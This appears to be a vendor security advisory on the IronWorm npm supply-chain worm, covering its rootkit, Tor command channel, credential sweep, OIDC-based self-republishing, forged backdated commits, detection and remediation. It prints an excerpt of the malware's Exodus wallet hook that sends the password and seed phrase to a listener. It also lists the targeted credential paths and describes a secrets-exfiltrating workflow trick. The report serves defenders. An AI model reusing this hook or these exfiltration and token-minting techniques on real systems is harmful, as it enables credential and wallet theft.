Contents
ToggleExecutive Summary
IronWorm is an npm supply chain worm — a self-propagating Rust-built implant distributed through 37 packages that carries an eBPF rootkit, Tor-based command and control, and a CI self-replication engine that requires no stored credentials.
Unlike typical npm credential stealers built on a few hundred lines of obfuscated JavaScript, IronWorm ships as a 976 KB Rust ELF binary executed via a preinstall hook, packs a custom-modified UPX stub to defeat signature-based unpackers, encrypts every internal string with a unique per-call-site key, and carries an embedded eBPF kernel-level rootkit to hide its own processes, sockets, and anti-debugging tripwires from defenders.
The implant sweeps 86 environment variables and over 20 credential file paths covering AWS, GCP, Azure, Vault, Kubernetes, npm, Docker, GitHub, and the entire 2026 generation of AI provider keys (Anthropic, OpenAI, Gemini, Cohere, Mistral, Groq, Perplexity, xAI). It includes a dedicated Exodus desktop wallet hook that weakens Electron sandboxing to capture the seed mnemonic at unlock time. C2 runs over Tor, with the implant downloading the Tor expert bundle, writing its own torrc, and beaconing to /api/agent over a hidden service. Propagation runs through npm’s Trusted Publishing OIDC flow: on any CI runner with active federation, the worm exchanges the runner’s identity token for a short-lived, package-scoped publish token and republishes itself under whichever maintainer namespace the runner can reach.
No CVE has been assigned. Traditional CVE-based scanners had zero detection surface for IronWorm at the point of compromise. The worm is operationally adjacent to Shai-Hulud — same propagation model, same target profile, same use of trusted automation identities for commit forgery — but raises the engineering bar substantially with Rust, eBPF, and Tor in the same binary. The operator left their own BIP-39 recovery phrase hardcoded in the wallet-stealer skip list, which is the kind of mistake that says this is a rehearsal, not the final form.
TL;DR for Engineering Teams
What it is: IronWorm, a Rust-built npm supply chain worm with no CVE, distributed through 37 packages republished from the compromised asteroiddao npm account between the discovery window and the silent cleanup that followed. Each package ships a 976 KB Linux ELF dropper that fires from a preinstall script.
Where it bites: Any Linux developer machine or CI runner that installed any affected version of the listed packages, plus every GitHub repository the compromised account could write to (9 organizations confirmed: ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg).
Why it spread: The worm uses npm Trusted Publishing OIDC token exchange to mint short-lived publish credentials directly from CI runner identity. No stored npm token is required. Every CI run on an infected package becomes a new publisher. The implant also commits malicious changes to victim GitHub repositories under spoofed automation identities (claude, dependabot[bot], renovate[bot], github-actions[bot]) using copied timestamps from prior legitimate commits so changes appear backdated by years.
Patch status: No vendor patch. The malicious npm versions were deprecated and most malicious GitHub commits removed within roughly a day of discovery, but the cleanup was incomplete. The compromised account had approximately 4,500 contributions to private projects in the same month, so the public scope is a lower bound.
Immediate action: Search lockfiles for the 37 affected package versions listed in the IOC table; rotate every credential reachable from any host that ran npm install for an affected version; audit every repository the compromised account could write to for backdated commits authored by claude@users.noreply.github.com; rotate npm OIDC trust federation on any affected namespace.
Vulnerability Overview
| Field | Value |
|---|---|
| Vendor | npm (registry) / GitHub (account compromise vector) |
| Product | 37 npm packages published by asteroiddao |
| Vulnerability Type | Supply chain compromise, self-propagating worm |
| CWE | CWE-506 (Embedded Malicious Code), CWE-829 (Inclusion of Functionality from Untrusted Control Sphere), CWE-1357 (Reliance on Insufficiently Trustworthy Component) |
| CVSS Score | Not assigned (no CVE) |
| CVE | None |
| Patch Available | No (malicious versions deprecated, no clean replacement for affected ranges) |
| Active Exploitation | Confirmed in the wild — JFrog primary discovery |
| Attribution | Unknown actor; operationally adjacent to Shai-Hulud / TeamPCP, no confirmed identity overlap |
| Discovery | JFrog Security Research |
Technical Anatomy
Root Cause
There is no traditional software vulnerability here. IronWorm is malicious code shipped intentionally inside legitimate-looking package versions. The compromise vector was credential theft from a single maintainer (ocrybit, an Arweave/WeaveDB ecosystem contributor), followed by republication of every package the account owned with a malicious preinstall hook attached. The package payloads contain clean copies of the original SDK code alongside a single binary in a tools/ subdirectory, making the diff against the previous legitimate version minimal at the source-tree level.
The structural weakness IronWorm exploits is the combination of three things: npm’s permissive preinstall lifecycle script execution, which fires before dependency resolution; npm Trusted Publishing’s OIDC token exchange flow, which lets any CI runner with active federation mint publish credentials without a stored secret; and GitHub’s permissive treatment of commit metadata, which lets attackers forge author identities and commit timestamps to make malicious changes appear as routine automation work from years ago.

Exploit Path
- Entry point. The developer or CI runner executes npm install against a project that depends, directly or transitively, on any of the 37 affected asteroiddao packages. The preinstall script ./tools/setup fires before npm resolves dependencies. No build step, no manual confirmation, no user interaction.
- Vulnerability trigger. The Rust ELF binary unpacks itself in memory (custom UPX stub with the UPX! magic overwritten to defeat signature-based unpackers), decrypts internal strings using per-call-site unique keys, sweeps 86 environment variables and 20+ credential file paths, drops an embedded eBPF kernel object for stealth, and starts a Tor daemon to establish C2. If the host is a CI runner with active npm OIDC federation, the worm exchanges the runner’s identity token for a package-scoped publish token via npm’s /-/npm/v1/oidc/token/exchange/package/<pkg> endpoint.
- Execution impact. Credentials are exfiltrated over Tor to /api/agent. The worm publishes trojanized versions of accessible packages under the runner’s namespace using the freshly minted OIDC token. For GitHub repositories the stolen credentials can write to, the worm commits either a payload dropper (under spoofed claude@users.noreply.github.com identity) or replaces an existing GitHub Actions workflow file with a secret-exfiltration job (under spoofed dependabot[bot], renovate[bot], or github-actions[bot] identity). Persistence on the local host runs through the eBPF rootkit’s process and socket hiding.
Campaign Phases
Phase 1 — Initial foothold via credential theft. The compromised maintainer (ocrybit) had their credentials harvested by an earlier IronWorm victim with shared access, by phishing, or by some other unconfirmed vector. JFrog’s analysis does not pinpoint patient zero. The credentials gave the attacker write access to the entire asteroiddao npm account and to 9 GitHub organizations.
Phase 2 — npm mass republication. All 37 packages owned by the asteroiddao account were republished within the same narrow window, each new version carrying the malicious preinstall hook pointing to the bundled Rust binary. Version increments were minor or patch-level, designed to be picked up by SemVer-tolerant lockfile updates.
Phase 3 — GitHub repository poisoning. The compromised credentials were used to push 57 backdated malicious commits across the 9 organizations. Commits used author identities chosen to match the target file type: claude@users.noreply.github.com for build-system modifications that planted the dropper, and dependabot[bot], renovate[bot], or github-actions[bot] for workflow file replacements that exfiltrated secrets. The malware copied the timestamp of each repository’s most recent legitimate commit so its own changes appeared to predate the worm’s existence by up to 13 years.
Phase 4 — Cleanup and partial cover-up. Within roughly 24 hours of JFrog’s discovery, the malicious npm versions were marked deprecated and most malicious GitHub commits were silently removed. Not all of them. The compromised account had approximately 4,500 contributions to private repositories in the same month, so the public footprint is a lower bound on real impact.
Two Payloads, Two Disguises
IronWorm carries two GitHub repository payloads and switches between them based on what the target repository looks like.
Payload A — Build-system dropper (observed in the wild). If the repository ships a package on npm, PyPI, Cargo, Conan, or vcpkg, the worm drops the same 976 KB ELF binary to an innocuous-looking path: tools/setup, .github/scripts/precheck, or similar. It then modifies the build manifest to invoke that binary as part of the install lifecycle — preinstall for npm, a subprocess.run call in setup.py for PyPI, a build.rs hook for Cargo. The commit is authored as claude <claude@users.noreply.github.com>, mimicking an AI coding assistant making a routine tooling change.
Payload B — Workflow secret exfiltration (logic present, not observed firing). If the repository already has GitHub Actions workflows, the worm overwrites an existing workflow file with a secret-exfiltration job. The replacement workflow is pinned to legitimate action SHAs to look more security-conscious, names its steps with plausible CI phrases (“Run analysis”, “Process results”, “Upload report”), and uses ${{ toJSON(secrets) }} to serialize every secret available to the workflow run into a single value. That value gets written to a file named format-results.txt and uploaded as a build artifact via actions/upload-artifact. No external C2 traffic is needed — the artifact is retrievable by anyone with sufficient repo access, including the compromised account. Commits are authored under rotating bot identities (dependabot[bot], renovate[bot], github-actions[bot]).
JFrog observed Payload A in the wild across every victim. Payload B’s logic is present in the binary and appears functional, but was not seen triggering during the observation window.
The Rust Implant: Anti-Reverse-Engineering
IronWorm is built in Rust as a release build with an async runtime, which produces thousands of functions of framework code that drown out the malware’s own logic. Strings are encrypted in the binary and decrypted only when needed. There is no single master key — every call site uses its own decryption parameters, forcing per-string manual recovery during reverse engineering.
The binary is packed with a lightly modified UPX stub. The UPX! magic value is overwritten, which causes stock upx -d to return NotPackedException. Restoring the magic bytes lets the standard unpacker handle the file normally. This is the lowest-effort anti-unpacking trick possible — it does not replace UPX, it only breaks signature detection.
Once strings were recovered, the implant’s purpose became clear: GitHub API endpoints, the full 86-entry environment variable list, the 20+ credential file path list, bot identity strings, branch and commit message templates designed to blend in as routine maintenance, and code-injection templates for npm, PyPI, Cargo, Conan, and vcpkg.
The eBPF Rootkit: Stealth and Anti-Debugging
The implant carries an embedded ELF object compiled with clang 22.1.5 containing a kernel-level rootkit built as a BPF program. The compiler left the .BTF.ext debug section in place, which preserved 214 verbatim source lines mapped to original file names and line numbers, full type information for all 10 BPF maps, and every struct field. JFrog reconstructed the source file (q2.bpf.c) closely enough to understand the rootkit’s mechanisms.
The rootkit hides processes by rewriting /proc directory listings in place, removing PIDs on a hidden-set watchlist before userland tools can see them. Anything in ps, top, ls /proc, or similar disappears. New processes are added to the hidden set automatically via an execve hook that matches against a watchlist of process names.
Anti-debugging logic answers any ptrace attempt against a protected process with SIGKILL. In practice, running strace against the implant kills the shell that issued the command.
Network hiding extends the same pattern. The rootkit parses /proc/net/tcp as it is read and removes rows belonging to hidden sockets. Similar filtering applies to the netlink interface used by ss, so the implant’s Tor connections disappear from the standard tooling defenders reach for first.
The rootkit’s strongest stealth — process hiding and TCP connection hiding — depends on a BPF helper that modifies caller-process memory. That helper is restricted under kernel lockdown. On hardened systems with lockdown enabled, the rewrites quietly fail and hidden processes and sockets become visible to standard tooling. The anti-debugging logic and netlink filtering still work. On a stock Ubuntu/Debian server running as root, the full feature set works as intended.

Credential Sweep: 86 Variables, 20+ Files, AI-Era Coverage
The credential sweep is exhaustive and modern. The 86 environment variables span:
- Cloud providers: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, GOOGLE_APPLICATION_CREDENTIALS, GCP_SERVICE_ACCOUNT_KEY, AZURE_CLIENT_SECRET, AZURE_TENANT_ID
- Object storage and databases: S3 access keys, MongoDB connection strings, PostgreSQL credentials, Redis URLs
- Source control and registries: GITHUB_TOKEN, GH_TOKEN, GITLAB_TOKEN, NPM_TOKEN, NPM_AUTH_TOKEN, PYPI_TOKEN, CARGO_REGISTRY_TOKEN
- CI/CD: JENKINS_TOKEN, CIRCLECI_TOKEN, GITHUB_ACTIONS runner state
- Messaging: SLACK_TOKEN, DISCORD_TOKEN
- Secrets management: VAULT_TOKEN, VAULT_ADDR, Kubernetes service account tokens
- AI/ML APIs: ANTHROPIC_API_KEY, OPENAI_API_KEY, GEMINI_API_KEY, COHERE_API_KEY, MISTRAL_API_KEY, GROQ_API_KEY, PERPLEXITY_API_KEY, XAI_API_KEY, plus less common ones from a 2026 developer’s environment
The credential file sweep reads more than 20 paths, including current-generation AI tool configs that did not exist a year ago: ~/.claude/.credentials.json, ~/.codex/auth.json, ~/Cursor/auth.json, ~/.gemini/settings.json, alongside the classic targets ~/.aws/credentials, ~/.kube/config, ~/.docker/config.json, ~/.npmrc, ~/.gitconfig, ~/.ssh/, and browser keystores.
Exodus Wallet Hook
A dedicated module targets the Exodus desktop wallet. The malware injects a JavaScript hook into the Exodus Electron application that captures the wallet password and seed mnemonic when the user unlocks the wallet. To make injection possible, the module weakens Electron’s security model by disabling or relaxing webSecurity, sandbox, contextIsolation, and nodeIntegration, then loosens the Content Security Policy and broadens the application’s network policy beyond the legitimate Exodus domains. The captured password and mnemonic are sent to a local listener on 127.0.0.1:8738:
try {
const _x = (k, v) => {
const r = new XMLHttpRequest;
r.open(“POST”, “http://127.0.0.1:8738”, !0);
r.setRequestHeader(“Content-Type”, “text/plain”);
r.send(k + “:” + v)
};
if (t) _x(“password”, t);
const m = this._seed?.mnemonic?.toString();
if (m) _x(“seed”, m)
} catch (e) {}
Kubernetes and Vault Module
A separate module activates inside a Kubernetes pod. It reads the service account token at /var/run/secrets/kubernetes.io/serviceaccount/token, walks every accessible namespace, and dumps every Secret object it can reach. If a HashiCorp Vault instance is reachable from the pod, the module logs in with the service account token and enumerates the secret backends.
The Operator’s Mistake: Hardcoded Recovery Phrase
The credential file scanner contains a small skip list — content patterns the malware reads and deliberately does not exfiltrate. The list contains exactly one entry, 74 bytes long: a complete 12-word BIP-39 recovery phrase, hardcoded in plaintext. The operator shipped their own wallet seed inside every copy of the implant so the wallet stealer would not rob them during testing.
Recovering the address from the phrase takes three lines of Python with bip_utils. The resulting Ethereum address is 0x7e28D9889f414B06c19a22A9Bd316f0AC279a4d6, a near-empty test wallet holding dust. It is not a treasure to seize; it is an attribution lead.
Tor-Based C2
For command and control, the implant downloads the Tor expert bundle and its libraries, writes its own torrc configuration, starts the Tor daemon, and waits for the circuit to come up. It then beacons to /api/agent on a hidden service and waits for orders. The C2 conversation is plain HTTP wrapped inside the Tor tunnel: a short hello, a request, and a response parsed for status codes.
The supported command set is intentionally small: upload extracted credentials, drop a file from the attacker-controlled server, or execute a remote shell command on the infected host. JFrog identified additional code that uploads files to temp.sh, a public file host tunneled through the same Tor circuit, and reports the resulting link back over C2 — possibly a fallback path, though not confirmed in the wild.
npm Self-Replication via Trusted Publishing OIDC
Every package published by the compromised account was republished with a malicious version inside the same window. The implant code confirmed how: when running in a CI environment, it uses npm’s Trusted Publishing flow to obtain publish rights without ever touching a stored npm credential. The flow is:
- Request an OIDC identity token from the CI environment using the audience parameter associated with npm Trusted Publishing.
- Submit that identity token to npm’s /-/npm/v1/oidc/token/exchange/package/<pkg> endpoint.
- Receive a short-lived, package-scoped automation token.
- Use that token to publish a trojanized release to registry.npmjs.org.
This is the same mechanism Mini Shai-Hulud used against TanStack in May 2026. The defense — disabling OIDC trust federation on affected namespaces until rotation is verified — is the same.
Affected Versions
| Package | Vulnerable Version | Status | Notes |
|---|---|---|---|
| weavedb-sdk | 0.45.3 | Deprecated | Primary sample analyzed by JFrog |
| weavedb-sdk-base | 0.21.1 | Deprecated | |
| weavedb-sdk-node | 0.45.3 | Deprecated | |
| weavedb-client | 0.45.3 | Deprecated | |
| weavedb-base | 0.45.3 | Deprecated | |
| weavedb-contracts | 0.45.2 | Deprecated | |
| weavedb-node-client | 0.45.3 | Deprecated | |
| weavedb-offchain | 0.45.4 | Deprecated | |
| weavedb-tools | 0.45.3 | Deprecated | |
| weavedb-console | 0.2.1 | Deprecated | |
| weavedb-exm-sdk | 0.7.4 | Deprecated | |
| weavedb-exm-sdk-web | 0.7.4 | Deprecated | |
| weavedb-lite | 0.1.1 | Deprecated | |
| weavedb-warp-contracts-plugin-deploy | 1.0.11 | Deprecated | |
| test-weavedb-sdk | 1.1.1 | Deprecated | |
| wdb-core | 0.1.2 | Deprecated | |
| wdb-cli | 0.1.1 | Deprecated | |
| wdb-sdk | 0.1.2 | Deprecated | |
| arnext | 0.1.5 | Deprecated | |
| arnext-arkb | 0.0.2 | Deprecated | |
| create-arnext-app | 0.0.10 | Deprecated | |
| roidjs | 0.1.7 | Deprecated | |
| ai3 | 0.3.5 | Deprecated | |
| aonote | 0.11.1 | Deprecated | |
| atomic-notes | 0.5.3 | Deprecated | |
| cwao | 0.5.6 | Deprecated | |
| cwao-tools | 0.3.1 | Deprecated | |
| cwao-units | 0.8.3 | Deprecated | |
| arjson | 0.1.4 | Deprecated | |
| fpjson-lang | 0.1.7 | Deprecated | |
| hbsig | 0.3.2 | Deprecated | |
| monade | 0.0.7 | Deprecated | |
| wao | 0.41.2 | Deprecated | |
| warp-contracts-plugin-deploy-test | 3.0.1 | Deprecated | |
| zkjson | 0.8.5 | Deprecated | |
| test-ajs | 0.1.19 | Deprecated | |
| testnpmnmp | 1.0.21 | Deprecated |
Affected GitHub organizations: ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg.
Exposure Analysis
| Environment | Risk Level | Reason |
|---|---|---|
| CI/CD pipelines with npm OIDC federation | Critical | Self-propagation via Trusted Publishing token exchange; one infected install becomes a publisher |
| Linux developer workstations | Critical | preinstall hook fires on npm install, eBPF rootkit hides post-execution; credential sweep is exhaustive |
| Kubernetes pods running npm install | Critical | Service account token theft, namespace-wide Secret enumeration, Vault enumeration if reachable |
| Cloud workloads with broad IAM | High | 86-variable env sweep harvests AWS/GCP/Azure credentials; cross-account lateral movement risk |
| Developer machines with Exodus wallet | High | Dedicated wallet hook captures seed mnemonic at unlock |
| Developer machines with AI tools (Claude Code, Cursor, Codex, Gemini) | High | Credential files for current-generation AI tools are explicit harvesting targets |
| Internet-exposed services | Medium | Not directly exposed; impact via stolen credentials reused against production |
| Windows/macOS developer machines | Lower | The binary is a Linux ELF; the worm does not appear to ship Windows or macOS variants. The propagation logic still applies via stolen npm/GitHub credentials |
| Locked-down Linux systems (kernel lockdown enabled) | Reduced stealth | eBPF process/socket hiding fails; anti-debugging still works |
Real-World Impact
JFrog observed 14 confirmed malicious commits across the 9 compromised GitHub organizations, with commit dates spoofed to appear up to 13 years in the past. The total of 57 backdated malicious commits across the compromised organizations represents what was visible publicly at the moment of cleanup. The compromised account had approximately 4,500 contributions to private projects in the same month. Public scope is therefore a lower bound on real impact.
The Arweave/WeaveDB developer ecosystem is the primary blast radius. WeaveDB SDK packages sit beneath any Arweave-based decentralized application using WeaveDB as a database layer. The arnext family targets the Arweave-Next.js integration surface. The cwao and aonote packages target the AO compute layer on Arweave. Crypto and web3 developers — the audience IronWorm appears purpose-built for — are the population most likely to have installed any of these in the relevant window.
Beyond the immediate npm ecosystem, the worm’s credential harvesting reach is broad. Every CI runner that resolved an affected version during the attack window had its environment swept for 86 categories of credential, with results exfiltrated over Tor before any defender visibility tooling could see the connection. Any compromised credential remains exploitable until rotation completes, regardless of whether the malicious package was later uninstalled.
The fact that Payload B (workflow secret exfiltration via GitHub Actions artifacts) is present in the binary but was not observed firing in JFrog’s analysis window is the more dangerous data point. It is the most defender-resistant exfiltration channel in the toolkit — no external C2, no Tor traffic, just a build artifact that looks like lint output. Defenders should not assume Payload B is dead code; the most likely interpretation is that the campaign was at an early stage when it was caught.
Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today
Detection Guidance
Log Indicators
For developer endpoints and CI runners:
- Execution of any binary at tools/setup, .github/scripts/precheck, or any similarly innocuous-looking path inside an npm package during npm install
- New preinstall script entries in package.json pointing to a binary path inside the package
- npm install operations triggering execution of an unfamiliar Linux ELF inside node_modules/<package>/
- Outbound HTTPS to registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/* from a CI runner that should not be publishing packages
- Tor process startup (tor daemon) on developer machines or CI runners where Tor is not part of the expected toolchain
- Connections to 127.0.0.1:8738 originating from the Exodus desktop wallet process
For GitHub repositories:
- Commits authored as claude <claude@users.noreply.github.com> modifying build manifests (package.json, setup.py, Cargo.toml, conanfile.py, vcpkg.json) outside the normal pattern of AI-assisted edits in your organization
- Workflow file replacements authored as dependabot[bot], renovate[bot], or github-actions[bot] where the diff introduces ${{ toJSON(secrets) }}, actions/upload-artifact, or a step writing to format-results.txt
- Commits with author timestamps significantly older than the repository’s last legitimate activity, especially when the GitHub Actions activity log shows the push happened recently
- New files at paths like tools/setup, .github/scripts/precheck, or any tools/ subdirectory containing a binary blob
For Kubernetes:
- Pod-originating reads of /var/run/secrets/kubernetes.io/serviceaccount/token followed by listSecrets operations across namespaces
- Pod-originating authentication attempts against the Vault API using the pod’s service account token where this is not the expected pattern
Scanner References
- Phoenix Security ASPM platform — correlates npm dependency graph data with runtime workload exposure; flags packages with new preinstall hooks across maintainer transitions
- Phoenix Security Blue Shield CI/CD Firewall — consumes the phxintel.security/malware.html intelligence feed and blocks installation of known-malicious package versions at the runner
- PHX-Neural behavioral scoring — 77-signal heuristic flags Rust binaries shipped from npm packages with no build artifact justification, hardcoded BIP-39 phrases in skip-list patterns, and per-call-site string encryption signatures
- JFrog Curation / Xray — packages have been catalogued as malicious in the JFrog Catalog
- Socket Security — real-time install-time blocking on the affected version set
- Aikido Security — malware feed coverage for the deprecated versions
- StepSecurity Harden-Runner — network anomaly detection on CI runners catches the Tor bootstrap and any temp.sh traffic
- GitHub Advanced Security secret scanning — will catch leaked secrets if the workflow-exfiltration payload (Payload B) fired in any of your repositories
- Phoenix Security open-source scanners: github.com/Security-Phoenix-demo/
Verification Steps for Teams
- Search lockfiles across all repositories for the affected package versions:
- rg -n ‘”weavedb-sdk”|”weavedb-sdk-base”|”weavedb-client”|”arnext”|”aonote”|”cwao”|”roidjs”|”wao”|”zkjson”|”fpjson-lang”‘ package-lock.json npm-shrinkwrap.json yarn.lock pnpm-lock.yaml
- For any match, capture the install timestamp from CI logs or developer history. Any machine that ran npm install against an affected version during the attack window must be treated as fully compromised.
- Sweep every GitHub organization the compromised account could write to (ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg) for commits authored by claude@users.noreply.github.com with the message fix: resolve lint warnings or similar generic maintenance text.
- Check the GitHub Actions activity log on suspect repositories for the real push timestamp; the commit author timestamp is unreliable.
- Audit existing GitHub Actions workflow files in every repository the compromised account could write to. Look for ${{ toJSON(secrets) }} outside its handful of legitimate uses, and for steps writing to format-results.txt or uploading artifacts named format-results.
- Inventory developer endpoints for Linux ELF files inside any node_modules/ tree. Match against the SHA-256 of the dropper binary once IOCs are published.
- Audit npm Trusted Publishing OIDC trust federation across all your namespaces. Disable federation on any namespace that an affected version touched until rotation is complete.
Remediation Guidance
Immediate Actions
- Uninstall and pin away from affected versions. Remove every affected version from lockfiles. Pin direct dependencies to known-clean versions predating the attack window. Where the package is unmaintained going forward, plan replacement.
- Rotate every credential reachable from any affected install. This is non-negotiable. The full 86-variable sweep means any AWS/GCP/Azure/Vault/Kubernetes/npm/GitHub/AI provider credential reachable from any host that ran npm install against an affected version is in scope. Rotate, do not just audit. Rotation should include long-lived API keys, signing keys stored in env vars, and OIDC trust relationships where the attacker could have re-federated.
- Disable npm Trusted Publishing OIDC federation on affected namespaces. Re-enable only after package ownership, maintainer accounts, and CI runner provenance have been verified.
- Revoke and reissue GitHub Personal Access Tokens, fine-grained tokens, and SSH keys for any developer who installed an affected version locally.
- Audit and revert backdated commits across the 9 compromised GitHub organizations. Force-push history rewrites or selective revert commits — whichever your workflow supports — with full audit trail.
- Reimage compromised developer machines. The eBPF rootkit is sophisticated enough that point-fix removal is not safe. Reimage from known-clean media.
- Rotate Exodus wallet seeds for any developer who unlocked the wallet on a compromised machine during the attack window.
- Rotate Kubernetes service account tokens in any namespace that ran a build job on an affected version. Treat all Secrets in those namespaces as leaked.
Temporary Mitigations
If you cannot complete rotation immediately:
- Block egress to Tor entry guards at the firewall on developer subnets and CI runner subnets. This disables IronWorm’s C2 channel without addressing the credential theft already completed.
- Block egress to temp.sh from CI runners as a defense against the secondary fallback path.
- Disable preinstall, install, and postinstall lifecycle scripts in CI with npm install –ignore-scripts. This prevents new infections but does not clean existing ones.
- Enable kernel lockdown on production Linux systems where it is not already on. This breaks the eBPF rootkit’s process and socket hiding, making the implant detectable by standard tooling.
- Configure Electron application AppArmor or SELinux confinement to prevent the Exodus wallet hook from disabling sandboxing.
- Pin GitHub Actions to specific SHAs everywhere, not just tags. This is best practice anyway; it makes Payload B’s workflow replacements stand out in diffs.

Phoenix Security Recommendations
Phoenix Security’s approach to IronWorm-class compromises is built on the assumption that CVE-based scanning is structurally incapable of catching them. There is no CVE here. There is nothing to look up in NVD or OSV. The detection signal lives in package behavior, maintainer transitions, and CI runner provenance — not in vulnerability advisories.
Phoenix Security correlates the affected package set with your runtime workload data and dependency graph to produce a single ranked exposure list: which workloads pulled an affected version, which CI runners executed against it, which credentials were reachable from those runners, and which production systems consume those credentials downstream. The output is a remediation campaign assigned to the team that owns each affected workload, not a generic advisory dumped on AppSec to triage.
The Phoenix Blue Shield CI/CD Firewall blocks installation of the deprecated affected versions at the runner using the phxintel.security/malware.html intelligence feed. The Blue Shield Agent Firewall extends the same control surface to developer machines.
PHX-Neural’s 77-signal behavioral heuristic flags the structural fingerprints that distinguish IronWorm-class packages from legitimate releases: a binary shipped from an npm package with no source-tree justification, per-call-site string encryption signatures, a modified UPX stub, embedded BPF objects, hardcoded BIP-39 phrases, and preinstall hooks pointing to ELF executables. These signals fire whether or not the specific package is in any published advisory feed, which is the only reliable way to catch the next IronWorm variant before JFrog or another researcher posts the IOCs.
Reachability analysis identifies which affected packages are actually loaded in runtime workloads versus declared in lockfiles but never resolved, which collapses the triage queue and lets remediation owners focus on the workloads that materially executed compromised code.
Remediation campaigns track fixes through ownership attribution: each affected workload is mapped to its responsible team, with rotation tasks for each credential class broken out as discrete deliverables with explicit SLAs.
Download Phoenix Security IronWorm campaign config:
Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today
External References
- JFrog Security Research — IronWorm: Shai-Hulud’s Rustier Cousin: https://research.jfrog.com/post/iron-worm-shai-hulud-rustier-cousin/
- npm Trusted Publishers / OIDC federation documentation: https://docs.npmjs.com/generating-provenance-statements
- Sigstore / npm provenance: https://github.blog/security/supply-chain-security/
- Phoenix Security — Mini Shai-Hulud / TeamPCP npm Worm Campaign (lineage context)
- Phoenix Security — TeamPCP’s Five-Day Siege on CI/CD Infrastructure (lineage context)
- Phoenix Security Blue Malware Analysis: https://phxintel.security/malware.html
- Tor Project — Expert bundle distribution: https://www.torproject.org/
- UPX — The Ultimate Packer for eXecutables: https://upx.github.io/
- eBPF documentation — BTF / .BTF.ext format: https://www.kernel.org/doc/html/latest/bpf/btf.html
- bip_utils — BIP-39 / BIP-44 Python library: https://github.com/ebellocchia/bip_utils